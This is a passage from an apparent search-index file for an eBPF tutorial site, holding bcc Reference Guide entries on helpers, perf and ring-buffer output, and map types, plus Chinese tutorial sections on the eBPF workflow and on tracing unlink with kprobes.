with field randomization, you may need two #define directives before the includes: #define randomized_struct_fields_start struct {\n#define randomized_struct_fields_end };\n#include <linux/sched.h> int do_trace(void *ctx) { struct task_struct *t = (struct task_struct *)bpf_get_current_task();\n[...] Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 7. bpf_get_current_task()","id":"205","title":"7. bpf_get_current_task()"},"206":{"body":"Syntax: unsigned int bpf_log2l(unsigned long v) Returns the log-2 of the provided value. This is often used to create indexes for histograms, to construct power-of-2 histograms. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 8. bpf_log2l()","id":"206","title":"8. bpf_log2l()"},"207":{"body":"Syntax: u32 bpf_get_prandom_u32() Returns a pseudo-random u32. Example in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 9. bpf_get_prandom_u32()","id":"207","title":"9. bpf_get_prandom_u32()"},"208":{"body":"Syntax: int bpf_probe_read_user(void *dst, int size, const void *src) Return: 0 on success This attempts to safely read size bytes from user address space to the BPF stack, so that BPF can later operate on it. For safety, all user address space memory reads must pass through bpf_probe_read_user(). Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 10. bpf_probe_read_user()","id":"208","title":"10. bpf_probe_read_user()"},"209":{"body":"Syntax: int bpf_probe_read_user_str(void *dst, int size, const void *src) Return: > 0 length of the string including the trailing NULL on success < 0 error This copies a NULL terminated string from user address space to the BPF stack, so that BPF can later operate on it. In case the string length is smaller than size, the target is not padded with further NULL bytes. In case the string length is larger than size, just size - 1 bytes are copied and the last byte is set to NULL. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 11. bpf_probe_read_user_str()","id":"209","title":"11. bpf_probe_read_user_str()"},"21":{"body":"eBPF 程序的开发和使用流程可以概括为如下几个步骤： 定义 eBPF 程序的接口和类型：这包括定义 eBPF 程序的接口函数，定义和实现 eBPF 内核映射（maps）和共享内存（perf events），以及定义和使用 eBPF 内核帮助函数（helpers）。 编写 eBPF 程序的代码：这包括编写 eBPF 程序的主要逻辑，实现 eBPF 内核映射的读写操作，以及使用 eBPF 内核帮助函数。 编译 eBPF 程序：这包括使用 eBPF 编译器（例如 clang）将 eBPF 程序代码编译为 eBPF 字节码，并生成可执行的 eBPF 内核模块。ecc 本质上也是调用 clang 编译器来编译 eBPF 程序。 加载 eBPF 程序到内核：这包括将编译好的 eBPF 内核模块加载到 Linux 内核中，并将 eBPF 程序附加到指定的内核事件上。 使用 eBPF 程序：这包括监测 eBPF 程序的运行情况，并使用 eBPF 内核映射和共享内存进行数据交换和共享。 在实际开发中，还可能需要进行其他的步骤，例如配置编译和加载参数，管理 eBPF 内核模块和内核映射，以及使用其他高级功能等。 需要注意的是，BPF 程序的执行是在内核空间进行的，因此需要使用特殊的工具和技术来编写、编译和调试 BPF 程序。eunomia-bpf 是一个开源的 BPF 编译器和工具包，它可以帮助开发者快速和简单地编写和运行 BPF 程序。 您还可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程，全部内容均已开源。我们会继续分享更多有关 eBPF 开发实践的内容，帮助您更好地理解和掌握 eBPF 技术。","breadcrumbs":"eBPF Hello World，基本框架和开发流程 » 总结","id":"21","title":"总结"},"210":{"body":"Syntax: u32 bpf_get_ns_current_pid_tgid(u64 dev, u64 ino, struct bpf_pidns_info* nsdata, u32 size) Values for pid and tgid as seen from the current namespace will be returned in nsdata . Return 0 on success, or one of the following in case of failure: -EINVAL if dev and inum supplied don't match dev_t and inode number with nsfs of current task, or if dev conversion to dev_t lost high bits. -ENOENT if pidns does not exists for the current task. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 12. bpf_get_ns_current_pid_tgid()","id":"210","title":"12. bpf_get_ns_current_pid_tgid()"},"211":{"body":"","breadcrumbs":"bcc Reference Guide » Debugging","id":"211","title":"Debugging"},"212":{"body":"Syntax: int bpf_override_return(struct pt_regs *, unsigned long rc) Return: 0 on success When used in a program attached to a function entry kprobe, causes the execution of the function to be skipped, immediately returning rc instead. This is used for targeted error injection. bpf_override_return will only work when the kprobed function is whitelisted to allow error injections. Whitelisting entails tagging a function with ALLOW_ERROR_INJECTION() in the kernel source tree; see io_ctl_init for an example. If the kprobed function is not whitelisted, the bpf program will fail to attach with ioctl(PERF_EVENT_IOC_SET_BPF): Invalid argument int kprobe__io_ctl_init(void *ctx) { bpf_override_return(ctx, -ENOMEM); return 0;\n}","breadcrumbs":"bcc Reference Guide » 1. bpf_override_return()","id":"212","title":"1. bpf_override_return()"},"213":{"body":"","breadcrumbs":"bcc Reference Guide » Output","id":"213","title":"Output"},"214":{"body":"Syntax: int bpf_trace_printk(const char *fmt, ...) Return: 0 on success A simple kernel facility for printf() to the common trace_pipe (/sys/kernel/debug/tracing/trace_pipe). This is ok for some quick examples, but has limitations: 3 args max, 1 %s only, and trace_pipe is globally shared, so concurrent programs will have clashing output. A better interface is via BPF_PERF_OUTPUT(). Note that calling this helper is made simpler than the original kernel version, which has fmt_size as the second parameter. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 1. bpf_trace_printk()","id":"214","title":"1. bpf_trace_printk()"},"215":{"body":"Syntax: BPF_PERF_OUTPUT(name) Creates a BPF table for pushing out custom event data to user space via a perf ring buffer. This is the preferred method for pushing per-event data to user space. For example: struct data_t { u32 pid; u64 ts; char comm[TASK_COMM_LEN];\n};\nBPF_PERF_OUTPUT(events); int hello(struct pt_regs *ctx) { struct data_t data = {}; data.pid = bpf_get_current_pid_tgid(); data.ts = bpf_ktime_get_ns(); bpf_get_current_comm(&data.comm, sizeof(data.comm)); events.perf_submit(ctx, &data, sizeof(data)); return 0;\n} The output table is named events, and data is pushed to it via events.perf_submit(). Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 2. BPF_PERF_OUTPUT","id":"215","title":"2. BPF_PERF_OUTPUT"},"216":{"body":"Syntax: int perf_submit((void *)ctx, (void *)data, u32 data_size) Return: 0 on success A method of a BPF_PERF_OUTPUT table, for submitting custom event data to user space. See the BPF_PERF_OUTPUT entry. (This ultimately calls bpf_perf_event_output().) The ctx parameter is provided in kprobes or kretprobes . For SCHED_CLS or SOCKET_FILTER programs, the struct __sk_buff *skb must be used instead. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 3. perf_submit()","id":"216","title":"3. perf_submit()"},"217":{"body":"Syntax: int perf_submit_skb((void *)ctx, u32 packet_size, (void *)data, u32 data_size) Return: 0 on success A method of a BPF_PERF_OUTPUT table available in networking program types, for submitting custom event data to user space, along with the first packet_size bytes of the packet buffer. See the BPF_PERF_OUTPUT entry. (This ultimately calls bpf_perf_event_output().) Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 4. perf_submit_skb()","id":"217","title":"4. perf_submit_skb()"},"218":{"body":"Syntax: BPF_RINGBUF_OUTPUT(name, page_cnt) Creates a BPF table for pushing out custom event data to user space via a ringbuf ring buffer. BPF_RINGBUF_OUTPUT has several advantages over BPF_PERF_OUTPUT, summarized as follows: Buffer is shared across all CPUs, meaning no per-CPU allocation Supports two APIs for BPF programs map.ringbuf_output() works like map.perf_submit() (covered in ringbuf_output ) map.ringbuf_reserve()/map.ringbuf_submit()/map.ringbuf_discard() split the process of reserving buffer space and submitting events into two steps (covered in ringbuf_reserve , ringbuf_submit , ringbuf_discard ) BPF APIs do not require access to a CPU ctx argument Superior performance and latency in userspace thanks to a shared ring buffer manager Supports two ways of consuming data in userspace Starting in Linux 5.8, this should be the preferred method for pushing per-event data to user space. Example of both APIs: struct data_t { u32 pid; u64 ts; char comm[TASK_COMM_LEN];\n}; // Creates a ringbuf called events with 8 pages of space, shared across all CPUs\nBPF_RINGBUF_OUTPUT(events, 8); int first_api_example(struct pt_regs *ctx) { struct data_t data = {}; data.pid = bpf_get_current_pid_tgid(); data.ts = bpf_ktime_get_ns(); bpf_get_current_comm(&data.comm, sizeof(data.comm)); events.ringbuf_output(&data, sizeof(data), 0 /* flags */); return 0;\n} int second_api_example(struct pt_regs *ctx) { struct data_t *data = events.ringbuf_reserve(sizeof(struct data_t)); if (!data) { // Failed to reserve space return 1; } data->pid = bpf_get_current_pid_tgid(); data->ts = bpf_ktime_get_ns(); bpf_get_current_comm(&data->comm, sizeof(data->comm)); events.ringbuf_submit(data, 0 /* flags */); return 0;\n} The output table is named events. Data is allocated via events.ringbuf_reserve() and pushed to it via events.ringbuf_submit(). Examples in situ: search /examples ,","breadcrumbs":"bcc Reference Guide » 5. BPF_RINGBUF_OUTPUT","id":"218","title":"5. BPF_RINGBUF_OUTPUT"},"219":{"body":"Syntax: int ringbuf_output((void *)data, u64 data_size, u64 flags) Return: 0 on success Flags: BPF_RB_NO_WAKEUP: Do not sent notification of new data availability BPF_RB_FORCE_WAKEUP: Send notification of new data availability unconditionally A method of the BPF_RINGBUF_OUTPUT table, for submitting custom event data to user space. This method works like perf_submit(), although it does not require a ctx argument. Examples in situ: search /examples ,","breadcrumbs":"bcc Reference Guide » 6. ringbuf_output()","id":"219","title":"6. ringbuf_output()"},"22":{"body":"eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具。它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 本文是 eBPF 入门开发实践教程的第二篇，在 eBPF 中使用 kprobe 捕获 unlink 系统调用。本文会先讲解关于 kprobes 的基本概念和技术背景，然后介绍如何在 eBPF 中使用 kprobe 捕获 unlink 系统调用。","breadcrumbs":"使用 kprobe 监测捕获 unlink 系统调用 » eBPF 入门开发实践教程二：在 eBPF 中使用 kprobe 监测捕获 unlink 系统调用","id":"22","title":"eBPF 入门开发实践教程二：在 eBPF 中使用 kprobe 监测捕获 unlink 系统调用"},"220":{"body":"Syntax: void* ringbuf_reserve(u64 data_size) Return: Pointer to data struct on success, NULL on failure A method of the BPF_RINGBUF_OUTPUT table, for reserving space in the ring buffer and simultaenously allocating a data struct for output. Must be used with one of ringbuf_submit or ringbuf_discard. Examples in situ: search /examples ,","breadcrumbs":"bcc Reference Guide » 7. ringbuf_reserve()","id":"220","title":"7. ringbuf_reserve()"},"221":{"body":"Syntax: void ringbuf_submit((void *)data, u64 flags) Return: Nothing, always succeeds Flags: BPF_RB_NO_WAKEUP: Do not sent notification of new data availability BPF_RB_FORCE_WAKEUP: Send notification of new data availability unconditionally A method of the BPF_RINGBUF_OUTPUT table, for submitting custom event data to user space. Must be preceded by a call to ringbuf_reserve() to reserve space for the data. Examples in situ: search /examples ,","breadcrumbs":"bcc Reference Guide » 8. ringbuf_submit()","id":"221","title":"8. ringbuf_submit()"},"222":{"body":"Syntax: void ringbuf_discard((void *)data, u64 flags) Return: Nothing, always succeeds Flags: BPF_RB_NO_WAKEUP: Do not sent notification of new data availability BPF_RB_FORCE_WAKEUP: Send notification of new data availability unconditionally A method of the BPF_RINGBUF_OUTPUT table, for discarding custom event data; userspace ignores the data associated with the discarded event. Must be preceded by a call to ringbuf_reserve() to reserve space for the data. Examples in situ: search /examples ,","breadcrumbs":"bcc Reference Guide » 9. ringbuf_discard()","id":"222","title":"9. ringbuf_discard()"},"223":{"body":"Maps are BPF data stores, and are the basis for higher level object types including tables, hashes, and histograms.","breadcrumbs":"bcc Reference Guide » Maps","id":"223","title":"Maps"},"224":{"body":"Syntax: BPF_TABLE(_table_type, _key_type, _leaf_type, _name, _max_entries) Creates a map named _name. Most of the time this will be used via higher-level macros, like BPF_HASH, BPF_ARRAY, BPF_HISTOGRAM, etc. BPF_F_TABLE is a variant that takes a flag in the last parameter. BPF_TABLE(https://github.com/iovisor/bcc/tree/master.) is actually a wrapper to BPF_F_TABLE(https://github.com/iovisor/bcc/tree/master., 0 /* flag */). Methods (covered later): map.lookup(), map.lookup_or_try_init(), map.delete(), map.update(), map.insert(), map.increment(). Examples in situ: search /examples , search /tools Pinned Maps Syntax: BPF_TABLE_PINNED(_table_type, _key_type, _leaf_type, _name, _max_entries, \"/sys/fs/bpf/xyz\") Create a new map if it doesn't exist and pin it to the bpffs as a FILE, otherwise use the map that was pinned to the bpffs. The type information is not enforced and the actual map type depends on the map that got pinned to the location. For example: BPF_TABLE_PINNED(\"hash\", u64, u64, ids, 1024, \"/sys/fs/bpf/ids\");","breadcrumbs":"bcc Reference Guide » 1. BPF_TABLE","id":"224","title":"1. BPF_TABLE"},"225":{"body":"Syntax: BPF_HASH(name [, key_type [, leaf_type [, size]]]) Creates a hash map (associative array) named name, with optional parameters. Defaults: BPF_HASH(name, key_type=u64, leaf_type=u64, size=10240) For example: BPF_HASH(start, struct request *); This creates a hash named start where the key is a struct request *, and the value defaults to u64. This hash is used by the disksnoop.py example for saving timestamps for each I/O request, where the key is the pointer to struct request, and the value is the timestamp. This is a wrapper macro for BPF_TABLE(\"hash\", ...). Methods (covered later): map.lookup(), map.lookup_or_try_init(), map.delete(), map.update(), map.insert(), map.increment(). Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 2. BPF_HASH","id":"225","title":"2. BPF_HASH"},"226":{"body":"Syntax: BPF_ARRAY(name [, leaf_type [, size]]) Creates an int-indexed array which is optimized for fastest lookup and update, named name, with optional parameters. Defaults: BPF_ARRAY(name, leaf_type=u64, size=10240) For example: BPF_ARRAY(counts, u64, 32); This creates an array named counts where with 32 buckets and 64-bit integer values. This array is used by the funccount.py example for saving call count of each function. This is a wrapper macro for BPF_TABLE(\"array\", ...). Methods (covered later): map.lookup(), map.update(), map.increment(). Note that all array elements are pre-allocated with zero values and can not be deleted. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 3. BPF_ARRAY","id":"226","title":"3. BPF_ARRAY"},"227":{"body":"Syntax: BPF_HISTOGRAM(name [, key_type [, size ]]) Creates a histogram map named name, with optional parameters. Defaults: BPF_HISTOGRAM(name, key_type=int, size=64) For example: BPF_HISTOGRAM(dist); This creates a histogram named dist, which defaults to 64 buckets indexed by keys of type int. This is a wrapper macro for BPF_TABLE(\"histgram\", ...). Methods (covered later): map.increment(). Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 4. BPF_HISTOGRAM","id":"227","title":"4. BPF_HISTOGRAM"},"228":{"body":"Syntax: BPF_STACK_TRACE(name, max_entries) Creates stack trace map named name, with a maximum entry count provided. These maps are used to store stack traces. For example: BPF_STACK_TRACE(stack_traces, 1024); This creates stack trace map named stack_traces, with a maximum number of stack trace entries of 1024. This is a wrapper macro for BPF_TABLE(\"stacktrace\", ...). Methods (covered later): map.get_stackid(). Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 5. BPF_STACK_TRACE","id":"228","title":"5. BPF_STACK_TRACE"},"229":{"body":"Syntax: BPF_PERF_ARRAY(name, max_entries) Creates perf array named name, with a maximum entry count provided, which must be equal to the number of system cpus. These maps are used to fetch hardware performance counters. For example: text=\"\"\"\nBPF_PERF_ARRAY(cpu_cycles, NUM_CPUS);\n\"\"\"\nb = bcc.BPF(text=text, cflags=[\"-DNUM_CPUS=%d\" % multiprocessing.cpu_count()])\nb[\"cpu_cycles\"].open_perf_event(b[\"cpu_cycles\"].HW_CPU_CYCLES) This creates a perf array named cpu_cycles, with number of entries equal to the number of cpus/cores. The array is configured so that later calling map.perf_read() will return a hardware-calculated counter of the number of cycles elapsed from some point in the past. Only one type of hardware counter may be configured per table at a time. Methods (covered later): map.perf_read(). Examples in situ: search /tests","breadcrumbs":"bcc Reference Guide » 6. BPF_PERF_ARRAY","id":"229","title":"6. BPF_PERF_ARRAY"},"23":{"body":"开发人员在内核或者模块的调试过程中，往往会需要要知道其中的一些函数有无被调用、何时被调用、执行是否正确以及函数的入参和返回值是什么等等。比较简单的做法是在内核代码对应的函数中添加日志打印信息，但这种方式往往需要重新编译内核或模块，重新启动设备之类的，操作较为复杂甚至可能会破坏原有的代码执行过程。 而利用kprobes技术，用户可以定义自己的回调函数，然后在内核或者模块中几乎所有的函数中（有些函数是不可探测的，例如kprobes自身的相关实现函数，后文会有详细说明）动态的插入探测点，当内核执行流程执行到指定的探测函数时，会调用该回调函数，用户即可收集所需的信息了，同时内核最后还会回到原本的正常执行流程。如果用户已经收集足够的信息，不再需要继续探测，则同样可以动态地移除探测点。因此kprobes技术具有对内核执行流程影响小和操作方便的优点。 kprobes技术包括的3种探测手段分别时kprobe、jprobe和kretprobe。首先kprobe是最基本的探测方式，是实现后两种的基础，它可以在任意的位置放置探测点（就连函数内部的某条指令处也可以），它提供了探测点的调用前、调用后和内存访问出错3种回调方式，分别是pre_handler、post_handler和fault_handler，其中pre_handler函数将在被探测指令被执行前回调，post_handler会在被探测指令执行完毕后回调（注意不是被探测函数），fault_handler会在内存访问出错时被调用；jprobe基于kprobe实现，它用于获取被探测函数的入参值；最后kretprobe从名字中就可以看出其用途了，它同样基于kprobe实现，用于获取被探测函数的返回值。 kprobes的技术原理并不仅仅包含存软件的实现方案，它也需要硬件架构提供支持。其中涉及硬件架构相关的是CPU的异常处理和单步调试技术，前者用于让程序的执行流程陷入到用户注册的回调函数中去，而后者则用于单步执行被探测点指令，因此并不是所有的架构均支持，目前kprobes技术已经支持多种架构，包括i386、x86_64、ppc64、ia64、sparc64、arm、ppc和mips（有些架构实现可能并不完全，具体可参考内核的Documentation/kprobes.txt）。 kprobes的特点与使用限制： kprobes允许在同一个被被探测位置注册多个kprobe，但是目前jprobe却不可以；同时也不允许以其他的jprobe回调函数和kprobe的post_handler回调函数作为被探测点。 一般情况下，可以探测内核中的任何函数，包括中断处理函数。不过在kernel/kprobes.c和arch/*/kernel/kprobes.c程序中用于实现kprobes自身的函数是不允许被探测的，另外还有do_page_fault和notifier_call_chain； 如果以一个内联函数为探测点，则kprobes可能无法保证对该函数的所有实例都注册探测点。由于gcc可能会自动将某些函数优化为内联函数，因此可能无法达到用户预期的探测效果； 一个探测点的回调函数可能会修改被探测函数运行的上下文，例如通过修改内核的数据结构或者保存与struct pt_regs结构体中的触发探测器之前寄存器信息。因此kprobes可以被用来安装bug修复代码或者注入故障测试代码； kprobes会避免在处理探测点函数时再次调用另一个探测点的回调函数，例如在printk()函数上注册了探测点，则在它的回调函数中可能再次调用printk函数，此时将不再触发printk探测点的回调，仅仅时增加了kprobe结构体中nmissed字段的数值； 在kprobes的注册和注销过程中不会使用mutex锁和动态的申请内存； kprobes回调函数的运行期间是关闭内核抢占的，同时也可能在关闭中断的情况下执行，具体要视CPU架构而定。因此不论在何种情况下，在回调函数中不要调用会放弃CPU的函数（如信号量、mutex锁等）； kretprobe通过替换返回地址为预定义的trampoline的地址来实现，因此栈回溯和gcc内嵌函数__builtin_return_address()调用将返回trampoline的地址而不是真正的被探测函数的返回地址； 如果一个函数的调用次数和返回次数不相等，则在类似这样的函数上注册kretprobe将可能不会达到预期的效果，例如do_exit()函数会存在问题，而do_execve()函数和do_fork()函数不会； 如果当在进入和退出一个函数时，CPU运行在非当前任务所有的栈上，那么往该函数上注册kretprobe可能会导致不可预料的后果，因此，kprobes不支持在X86_64的结构下为__switch_to()函数注册kretprobe，将直接返回-EINVAL。","breadcrumbs":"使用 kprobe 监测捕获 unlink 系统调用 » kprobes 技术背景","id":"23","title":"kprobes 技术背景"},"230":{"body":"Syntax: BPF_PERCPU_HASH(name [, key_type [, leaf_type [, size]]]) Creates NUM_CPU int-indexed hash maps (associative arrays) named name, with optional parameters. Each CPU will have a separate copy of this array. The copies are not kept synchronized in any way. Note that due to limits defined in the kernel (in linux/mm/percpu.c), the leaf_type cannot have a size of more than 32KB. In other words, BPF_PERCPU_HASH elements cannot be larger than 32KB in size. Defaults: BPF_PERCPU_HASH(name, key_type=u64, leaf_type=u64, size=10240) For example: BPF_PERCPU_HASH(start, struct request *); This creates NUM_CPU hashes named start where the key is a struct request *, and the value defaults to u64. This is a wrapper macro for BPF_TABLE(\"percpu_hash\", ...). Methods (covered later): map.lookup(), map.lookup_or_try_init(), map.delete(), map.update(), map.insert(), map.increment(). Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 7. BPF_PERCPU_HASH","id":"230","title":"7. BPF_PERCPU_HASH"},"231":{"body":"Syntax: BPF_PERCPU_ARRAY(name [, leaf_type [, size]]) Creates NUM_CPU int-indexed arrays which are optimized for fastest lookup and update, named name, with optional parameters. Each CPU will have a separate copy of this array. The copies are not kept synchronized in any way. Note that due to limits defined in the kernel (in linux/mm/percpu.c), the leaf_type cannot have a size of more than 32KB. In other words, BPF_PERCPU_ARRAY elements cannot be larger than 32KB in size. Defaults: BPF_PERCPU_ARRAY(name, leaf_type=u64, size=10240) For example: BPF_PERCPU_ARRAY(counts, u64, 32); This creates NUM_CPU arrays named counts where with 32 buckets and 64-bit integer values. This is a wrapper macro for BPF_TABLE(\"percpu_array\", ...). Methods (covered later): map.lookup(), map.update(), map.increment(). Note that all array elements are pre-allocated with zero values and can not be deleted. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 8. BPF_PERCPU_ARRAY","id":"231","title":"8. BPF_PERCPU_ARRAY"},"232":{"body":"Syntax: BPF_LPM_TRIE(name [, key_type [, leaf_type [, size]]]) Creates a longest prefix match trie map named name, with optional parameters. Defaults: BPF_LPM_TRIE(name, key_type=u64, leaf_type=u64, size=10240) For example: BPF_LPM_TRIE(trie, struct key_v6); This creates an LPM trie map named trie where the key is a struct key_v6, and the value defaults to u64. This is a wrapper macro to BPF_F_TABLE(\"lpm_trie\", ..., BPF_F_NO_PREALLOC). Methods (covered later): map.lookup(), map.lookup_or_try_init(), map.delete(), map.update(), map.insert(), map.increment(). Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 9. BPF_LPM_TRIE","id":"232","title":"9. BPF_LPM_TRIE"},"233":{"body":"Syntax: BPF_PROG_ARRAY(name, size) This creates a program array named name with size entries. Each entry of the array is either a file descriptor to a bpf program or NULL. The array acts as a jump table so that bpf programs can \"tail-call\" other bpf programs. This is a wrapper macro for BPF_TABLE(\"prog\", ...). Methods (covered later): map.call(). Examples in situ: search /examples , search /tests , assign fd","breadcrumbs":"bcc Reference Guide » 10. BPF_PROG_ARRAY","id":"233","title":"10. BPF_PROG_ARRAY"},"234":{"body":"Syntax: BPF_DEVMAP(name, size) This creates a device map named name with size entries. Each entry of the map is an ifindex to a network interface. This map is only used in XDP. For example: BPF_DEVMAP(devmap, 10); Methods (covered later): map.redirect_map(). Examples in situ: search /examples ,","breadcrumbs":"bcc Reference Guide » 11. BPF_DEVMAP","id":"234","title":"11. BPF_DEVMAP"},"235":{"body":"Syntax: BPF_CPUMAP(name, size) This creates a cpu map named name with size entries. The index of the map represents the CPU id and each entry is the size of the ring buffer allocated for the CPU. This map is only used in XDP. For example: BPF_CPUMAP(cpumap, 16); Methods (covered later): map.redirect_map(). Examples in situ: search /examples ,","breadcrumbs":"bcc Reference Guide » 12. BPF_CPUMAP","id":"235","title":"12. BPF_CPUMAP"},"236":{"body":"Syntax: BPF_XSKMAP(name, size [, \"/sys/fs/bpf/xyz\"]) This creates a xsk map named name with size entries and pin it to the bpffs as a FILE. Each entry represents one NIC's queue id. This map is only used in XDP to redirect packet to an AF_XDP socket. If the AF_XDP socket is binded to a queue which is different than the current packet's queue id, the packet will be dropped. For kernel v5.3 and latter, lookup method is available and can be used to check whether and AF_XDP socket is available for the current packet's queue id. More details at AF_XDP . For example: BPF_XSKMAP(xsks_map, 8); Methods (covered later): map.redirect_map(). map.lookup() Examples in situ: search /examples ,","breadcrumbs":"bcc Reference Guide » 13. BPF_XSKMAP","id":"236","title":"13. BPF_XSKMAP"},"237":{"body":"Syntax: BPF_ARRAY_OF_MAPS(name, inner_map_name, size) This creates an array map with a map-in-map type (BPF_MAP_TYPE_HASH_OF_MAPS) map named name with size entries. The inner map meta data is provided by map inner_map_name and can be most of array or hash maps except BPF_MAP_TYPE_PROG_ARRAY, BPF_MAP_TYPE_CGROUP_STORAGE and BPF_MAP_TYPE_PERCPU_CGROUP_STORAGE. For example: BPF_TABLE(\"hash\", int, int, ex1, 1024);\nBPF_TABLE(\"hash\", int, int, ex2, 1024);\nBPF_ARRAY_OF_MAPS(maps_array, \"ex1\", 10);","breadcrumbs":"bcc Reference Guide » 14. BPF_ARRAY_OF_MAPS","id":"237","title":"14. BPF_ARRAY_OF_MAPS"},"238":{"body":"Syntax: BPF_HASH_OF_MAPS(name, key_type, inner_map_name, size) This creates a hash map with a map-in-map type (BPF_MAP_TYPE_HASH_OF_MAPS) map named name with size entries. The inner map meta data is provided by map inner_map_name and can be most of array or hash maps except BPF_MAP_TYPE_PROG_ARRAY, BPF_MAP_TYPE_CGROUP_STORAGE and BPF_MAP_TYPE_PERCPU_CGROUP_STORAGE. For example: BPF_ARRAY(ex1, int, 1024);\nBPF_ARRAY(ex2, int, 1024);\nBPF_HASH_OF_MAPS(maps_hash, struct custom_key, \"ex1\", 10);","breadcrumbs":"bcc Reference Guide » 15. BPF_HASH_OF_MAPS","id":"238","title":"15. BPF_HASH_OF_MAPS"},"239":{"body":"Syntax: BPF_STACK(name, leaf_type, max_entries[, flags]) Creates a stack named name with value type leaf_type and max entries max_entries. Stack and Queue maps are only available from Linux 4.20+. For example: BPF_STACK(stack, struct event, 10240); This creates a stack named stack where the value type is struct event, that holds up to 10240 entries. Methods (covered later): map.push(), map.pop(), map.peek(). Examples in situ: search /tests ,","breadcrumbs":"bcc Reference Guide » 16. BPF_STACK","id":"239","title":"16. BPF_STACK"},"24":{"body":"完整代码如下： #include \"vmlinux.h\"\n#include <bpf/bpf_helpers.h>\n#include <bpf/bpf_tracing.h>\n#include <bpf/bpf_core_read.h> char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; SEC(\"kprobe/do_unlinkat\")\nint BPF_KPROBE(do_unlinkat, int dfd, struct filename *name)\n{ pid_t pid; const char *filename; pid = bpf_get_current_pid_tgid() >> 32; filename = BPF_CORE_READ(name, name); bpf_printk(\"KPROBE ENTRY pid = %d, filename = %s\\n\", pid, filename); return 0;\n} SEC(\"kretprobe/do_unlinkat\")\nint BPF_KRETPROBE(do_unlinkat_exit, long ret)\n{ pid_t pid; pid = bpf_get_current_pid_tgid() >> 32; bpf_printk(\"KPROBE EXIT: pid = %d, ret = %ld\\n\", pid, ret); return 0;\n} 这段代码是一个简单的 eBPF 程序，用于监测和捕获在 Linux 内核中执行的 unlink 系统调用。unlink 系统调用的功能是删除一个文件，这个 eBPF 程序通过使用 kprobe（内核探针）在 do_unlinkat 函数的入口和退出处放置钩子，实现对该系统调用的跟踪。 首先，我们导入必要的头文件，如 vmlinux.h，bpf_helpers.h，bpf_tracing.h 和 bpf_core_read.h。接着，我们定义许可证，以允许程序在内核中运行。 #include \"vmlinux.h\"\n#include <bpf/bpf_helpers.h>\n#include <bpf/bpf_tracing.h>\n#include <bpf/bpf_core_read.h> char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; 接下来，我们定义一个名为 BPF_KPROBE(do_unlinkat) 的 kprobe，当进入 do_unlinkat 函数时，它会被触发。该函数接受两个参数：dfd（文件描述符）和 name（文件名结构体指针）。在这个 kprobe 中，我们获取当前进程的 PID（进程标识符），然后读取文件名。最后，我们使用 bpf_printk 函数在内核日志中打印 PID 和文件名。 SEC(\"kprobe/do_unlinkat\")\nint BPF_KPROBE(do_unlinkat, int dfd, struct filename *name)\n{ pid_t pid; const char *filename; pid = bpf_get_current_pid_tgid() >> 32; filename = BPF_CORE_READ(name, name); bpf_printk(\"KPROBE ENTRY pid = %d, filename = %s\\n\", pid, filename); return 0;\n} 接下来，我们定义一个名为 BPF_KRETPROBE(do_unlinkat_exit) 的 kretprobe，当从 do_unlinkat 函数退出时，它会被触发。这个 kretprobe 的目的是捕获函数的返回值（ret）。我们再次获取当前进程的 PID，并使用 bpf_printk 函数在内核日志中打印 PID 和返回值。 SEC(\"kretprobe/do_unlinkat\")\nint BPF_KRETPROBE(do_unlinkat_exit, long ret)\n{ pid_t pid; pid = bpf_get_current_pid_tgid() >> 32; bpf_printk(\"KPROBE EXIT: pid = %d, ret = %ld\\n\", pid, ret); return 0;\n} eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。 要编译这个程序，请使用 ecc 工具： $ ecc kprobe-link.bpf.c\nCompiling bpf object...\nPacking ebpf object and config into package.json... 然后运行： sudo ecli run package.json 在另外一个窗口中： touch test1\nrm test1\ntouch test2\nrm test2 在 /sys/kernel/debug/tracing/trace_pipe 文件中，应该能看到类似下面的 kprobe 演示输出： $ sudo cat /sys/kernel/debug/tracing/trace_pipe rm-9346 [005] d..3 4710.951696: bpf_trace_printk: KPROBE ENTRY pid = 9346, filename = test1 rm-9346 [005] d..4 4710.951819: bpf_trace_printk: KPROBE EXIT: ret = 0 rm-9346 [005] d..3 4710.951852: bpf_trace_printk: KPROBE ENTRY pid = 9346, filename = test2 rm-9346 [005] d..4 4710.951895: bpf_trace_printk: KPROBE EXIT: ret = 0","breadcrumbs":"使用 kprobe 监测捕获 unlink 系统调用 » kprobe 示例","id":"24","title":"kprobe 示例"},"240":{"body":"Syntax: BPF_QUEUE(name, leaf_type, max_entries[, flags]) Creates a queue named name with value type leaf_type and max entries max_entries. Stack and Queue maps are only available from Linux 4.20+. For example: BPF_QUEUE(queue, struct event, 10240); This creates a queue named queue where the value type is struct event, that holds up to 10240 entries. Methods (covered later): map.push(), map.pop(), map.peek(). Examples in situ: search /tests ,","breadcrumbs":"bcc Reference Guide » 17. BPF_QUEUE","id":"240","title":"17. BPF_QUEUE"},"241":{"body":"Syntax: BPF_SOCKHASH(name[, key_type [, max_entries) 